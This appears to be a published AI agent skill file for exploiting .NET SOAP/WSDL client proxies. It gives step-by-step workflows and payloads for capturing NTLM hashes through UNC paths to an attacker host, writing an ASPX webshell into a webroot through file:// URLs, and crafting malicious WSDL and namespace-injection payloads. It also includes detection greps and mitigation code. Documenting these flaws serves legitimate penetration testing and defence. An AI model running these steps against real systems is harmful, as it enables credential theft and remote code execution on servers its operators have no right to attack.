# Dotnet Soap Wsdl Exploitation

> Exploit .NET SOAP/WSDL client proxy vulnerabilities for NTLM relay, arbitrary file writes, and RCE. Use this skill whenever you need to test for SoapHttpClientProtocol abuse, WSDL import vulnerabilities, or HttpWebClientProtocol scheme-agnostic bugs in .NET applications. Trigger this skill for any .NET web service testing, SOAP endpoint analysis, WSDL import functionality, or when investigating Barracuda, Ivanti, Umbraco, PowerShell, or SSIS SOAP-related vulnerabilities.

- Skill: `abelrguezr/dotnet-soap-wsdl-exploitation` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/dotnet-soap-wsdl-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/dotnet-soap-wsdl-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/dotnet-soap-wsdl-exploitation

---


# .NET SOAP/WSDL Client Proxy Exploitation

A skill for identifying and exploiting .NET SOAP client proxy vulnerabilities that arise from `HttpWebClientProtocol`'s scheme-agnostic behavior.

## Vulnerability Overview

The core issue: `HttpWebClientProtocol.GetWebRequest()` returns whatever `WebRequest.Create()` produces without enforcing HTTP-only handlers. This means:

- `http(s)://` → `HttpWebRequest` (expected)
- `file:///` or `\\host\\share\\` → `FileWebRequest` (arbitrary file write)
- `ftp://` → `FtpWebRequest` (FTP operations)
- UNC paths → SMB/NTLM authentication (hash capture)

When combined with `ServiceDescriptionImporter` (WSDL import), attackers can control the proxy's `Url` property and method signatures, enabling pre-authentication RCE.

## When to Use This Skill

Use this skill when:
- Testing .NET applications with SOAP web service functionality
- Investigating WSDL import features in products
- Hunting for `SoapHttpClientProtocol`, `HttpWebClientProtocol`, or `ServiceDescriptionImporter` usage
- Analyzing Barracuda Service Center, Ivanti EPM, Umbraco 8, PowerShell `New-WebServiceProxy`, or SSIS vulnerabilities
- Needing to craft malicious WSDL files for penetration testing
- Testing for NTLM relay vulnerabilities via SOAP endpoints

## Testing Workflow

### Step 1: Identify SOAP Client Usage

Search for vulnerable patterns in the target application:

```bash
# Static analysis - grep for vulnerable classes
grep -r "SoapHttpClientProtocol" /path/to/app/
grep -r "ServiceDescriptionImporter" /path/to/app/
grep -r "New-WebServiceProxy" /path/to/app/
grep -r "HttpWebClientProtocol" /path/to/app/

# PowerShell-specific
Get-Command New-WebServiceProxy -ErrorAction SilentlyContinue
```

### Step 2: Map User-Controllable Inputs

Identify where `Url` or WSDL inputs can be controlled:
- Configuration files (app.config, web.config)
- Database rows (stored WSDL URLs, endpoint configurations)
- API parameters (WSDL import endpoints)
- UI forms ("Add Web Service" features)

### Step 3: Test Primitive 1 - NTLM Capture

If you can control the `Url` property:

1. Set `Url` to a UNC path: `file://<attacker-IP>/sink/payload`
2. Trigger the SOAP call
3. Capture NTLM challenge/response with Responder or similar
4. Attempt offline cracking or NTLM relay

**Detection**: Monitor for SMB connections from the web server to your infrastructure.

### Step 4: Test Primitive 2 - Arbitrary File Write

If you can control the `Url` property:

1. Set `Url` to a writable path: `file:///inetpub/wwwroot/poc.aspx`
2. Invoke any SOAP method
3. The SOAP envelope is written to the target path
4. Check for the error: `Client found response content type of 'application/octet-stream', but expected 'text/xml'`

**IOC**: This error message after a SOAP call indicates successful file write.

### Step 5: Weaponize WSDL Import

If the application imports WSDL files:

1. Host a malicious WSDL with:
   - `soap:address` pointing to `file:///` or UNC path
   - Custom complex types for payload serialization
   - Namespace injection for script drops

2. Trigger the import/compilation

3. Invoke the generated method to write the payload

4. Execute the dropped file (webshell, script, etc.)

## Exploitation Primitives

### Primitive A: UNC Path NTLM Leak

```csharp
// Vulnerable code pattern
var proxy = new MySoapClient();
proxy.Url = userControlledUrl; // "file://attacker.local/share/payload"
proxy.SomeMethod(); // Triggers SMB authentication
```

**Exploitation**:
1. Set up Responder: `Responder -I <interface> -w`
2. Point `Url` to `file://<your-IP>/share/payload`
3. Trigger the call
4. Capture NTLM hashes

### Primitive B: File Write via file://

```csharp
// Vulnerable code pattern
var proxy = new MySoapClient();
proxy.Url = "file:///inetpub/wwwroot/shell.aspx";
proxy.SomeMethod("<payload>"); // Writes SOAP envelope to shell.aspx
```

**Exploitation**:
1. Set `Url` to writable path in webroot
2. Craft SOAP method with payload in arguments
3. Trigger the call
4. Access the written file: `http://target/shell.aspx?cmd=whoami`

### Primitive C: WSDL-Based RCE

Use the `generate-malicious-wsdl.sh` script to create a WSDL that:
- Sets `soap:address` to a file path
- Defines complex types that serialize to executable code
- Injects namespaces with encoded payloads

## WSDL Crafting Guide

### Basic Malicious WSDL Structure

```xml
<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
                  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
                  xmlns:tns="http://example.com/service">
  
  <wsdl:types>
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <xsd:element name="ExecuteCommand">
        <xsd:complexType>
          <xsd:sequence>
            <xsd:element name="Command" type="xsd:string"/>
            <xsd:element name="Output" type="xsd:string"/>
          </xsd:sequence>
        </xsd:complexType>
      </xsd:element>
    </xsd:schema>
  </wsdl:types>
  
  <wsdl:message name="ExecuteCommandRequest">
    <wsdl:part name="parameters" element="tns:ExecuteCommand"/>
  </wsdl:message>
  
  <wsdl:portType name="MyService">
    <wsdl:operation name="ExecuteCommand">
      <wsdl:input message="tns:ExecuteCommandRequest"/>
    </wsdl:operation>
  </wsdl:portType>
  
  <wsdl:binding name="MyServiceSoap" type="tns:MyService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="ExecuteCommand">
      <soap:operation soapAction="http://example.com/service/ExecuteCommand"/>
      <wsdl:input>
        <soap:body use="literal"/>
      </wsdl:input>
    </wsdl:operation>
  </wsdl:binding>
  
  <wsdl:service name="MyService">
    <wsdl:port name="MyServiceSoap" binding="tns:MyServiceSoap">
      <!-- CRITICAL: This becomes the proxy's Url property -->
      <soap:address location="file:///inetpub/wwwroot/shell.aspx"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>
```

### Advanced: Namespace Injection for Script Drops

When you can't control method arguments, inject payloads via namespace URIs:

```xml
<wsdl:definitions xmlns:tns="http://example.com/service?x=@{cmd='whoami'}">
  <!-- The namespace URI is copied verbatim into SOAP messages -->
  <!-- Can encode CSHTML Razor, PowerShell, or other payloads -->
</wsdl:definitions>
```

### Advanced: Complex Type Serialization

Define custom types that serialize to executable code:

```xml
<xsd:complexType name="ScriptBlock">
  <xsd:sequence>
    <xsd:element name="script" type="xsd:string"/>
  </xsd:sequence>
  <xsd:attribute name="runat" type="xsd:string"/>
</xsd:complexType>
```

When serialized, this produces:
```xml
<script runat="server">// payload</script>
```

## Detection and Hunting

### Static Analysis Indicators

```bash
# Search for vulnerable patterns
grep -r "ServiceDescriptionImporter" /path/to/code/
grep -r "SoapHttpClientProtocol" /path/to/code/
grep -r "New-WebServiceProxy" /path/to/code/

# Check for user-controlled WSDL imports
grep -r "ServiceDescription.Read" /path/to/code/ | grep -v "http://"
```

### Runtime Monitoring

1. **Log proxy creation**: Instrument code to log `Url` schemes
2. **Alert on non-HTTP schemes**: `file`, `ftp`, UNC paths
3. **Monitor for characteristic errors**: `Client found response content type of 'application/octet-stream'`
4. **Watch for unexpected file writes**: `.aspx`, `.cshtml`, `.ps1` in web directories
5. **Network monitoring**: SMB connections from web servers to external hosts

### PowerShell-Specific Detection

```powershell
# Monitor for New-WebServiceProxy usage
Get-EventLog -LogName Application -Source "PowerShell" | 
  Select-String "New-WebServiceProxy"

# Check for suspicious proxy objects
Get-Process | Where-Object {$_.Modules.ModuleName -like "*Soap*"}
```

## Mitigations

### 1. Enforce Transport Validation

```csharp
// Before invoking any SOAP proxy
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
{
    throw new InvalidOperationException(
        "SOAP clients must use HTTP or HTTPS only"
    );
}
```

### 2. Sanitize Imported WSDL

```csharp
// Proxy WSDL downloads through a validation layer
public static string SanitizeWSDL(string wsdlUrl, string wsdlContent)
{
    // Reject non-HTTP/S addresses
    var doc = new XmlDocument();
    doc.LoadXml(wsdlContent);
    
    var nsManager = new XmlNamespaceManager(doc.NameTable);
    nsManager.AddNamespace("soap", "http://schemas.xmlsoap.org/wsdl/soap/");
    
    var addresses = doc.SelectNodes("//soap:address", nsManager);
    foreach (XmlNode address in addresses)
    {
        var location = address.GetAttribute("location");
        var uri = new Uri(location);
        if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
        {
            throw new SecurityException("Invalid WSDL address scheme");
        }
    }
    
    return wsdlContent;
}
```

### 3. Disable Untrusted WSDL Features

- Replace "upload WSDL" features with vetted templates
- Use allowlists for WSDL sources
- Implement server-side proxy generation instead of client-side

### 4. Segregate Write Locations

- App pools cannot write to executable directories
- Separate volumes for data vs. code
- Use read-only webroot where possible

### 5. Harden NTLM Exposure

- Disable outbound SMB from web servers
- Enforce SMB signing
- Implement EPA (Extended Protection for Authentication)
- Use Kerberos where possible

## Known Vulnerable Products

- **Barracuda Service Center RMM** (CVE-2025-34392)
- **Ivanti EPM** (various SOAP connector vulnerabilities)
- **Umbraco 8** (Forms datasource WSDL import)
- **PowerShell** (`New-WebServiceProxy` with untrusted WSDL)
- **SSIS** (SOAP task configurations)

## References

- [watchTowr Labs – SOAPwn: Pwning .NET Framework Applications](https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/)
- [Microsoft Docs – ServiceDescriptionImporter](https://docs.microsoft.com/en-us/dotnet/api/system.web.services.description.servicedescriptionimporter)
- [Microsoft Docs – SoapHttpClientProtocol](https://docs.microsoft.com/en-us/dotnet/api/system.web.services.protocols.soaphttpclientprotocol)

## Quick Start Scripts

Use the bundled scripts for rapid testing:

```bash
# Generate a malicious WSDL template
./scripts/generate-malicious-wsdl.sh \
  --output malicious.wsdl \
  --target-path "/inetpub/wwwroot/shell.aspx" \
  --method-name "ExecuteCommand"

# Test for file write primitive
./scripts/test-file-write.sh \
  --wsdl malicious.wsdl \
  --target http://target-app/ImportWSDL \
  --verify-path "/inetpub/wwwroot/shell.aspx"

# Set up NTLM capture listener
./scripts/setup-ntlm-capture.sh --interface eth0
```

## Safety and Ethics

This skill is for authorized penetration testing and security research only. Always:

1. Obtain written authorization before testing
2. Test in isolated environments when possible
3. Document all findings and remediation steps
4. Follow responsible disclosure practices
5. Never use these techniques against systems you don't own or have explicit permission to test

